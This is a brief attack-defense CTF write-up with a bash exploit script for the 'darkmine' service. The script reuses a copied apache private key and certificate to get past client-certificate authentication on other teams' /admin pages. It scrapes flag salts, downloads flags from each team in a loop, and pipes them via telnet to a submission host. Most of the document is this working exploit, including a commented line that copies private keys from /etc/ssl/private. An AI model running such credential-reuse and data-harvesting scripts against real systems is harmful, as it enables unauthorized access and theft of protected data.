Darkmine used SSL certificate client auth for access control on /admin/ page, which was used by jury checker. Teams where not able to generate valid client certificate, but they could use the certificate from their apache.

darkmine.sh

#!/bin/bash                               

#scp root@vuln:/etc/ssl/private/* .

C="curl -sk -m 10 --key apache.key --cert apache.crt --cacert ca.crt"

while true; do
    for team in 1 2 3 4 5 6 7 9 10
    do
        for salt in `$C https://172.17.$team.3:88/admin | egrep -o 'YOURFLAG\..{64}' | sed 's/YOURFLAG.//g' | sort -u`
        do
            [ -e $team/$salt ] && continue

            $C -d filename=YOURFLAG \
               -d salt=$salt \
               -d key='' \
               -d pieces=4 \
               https://172.17.$team.3:88/download | tee /dev/stderr

            echo

            touch $team/$salt
        done
        sleep 1
    done | telnet 10.0.0.2 16000
    sleep 10
done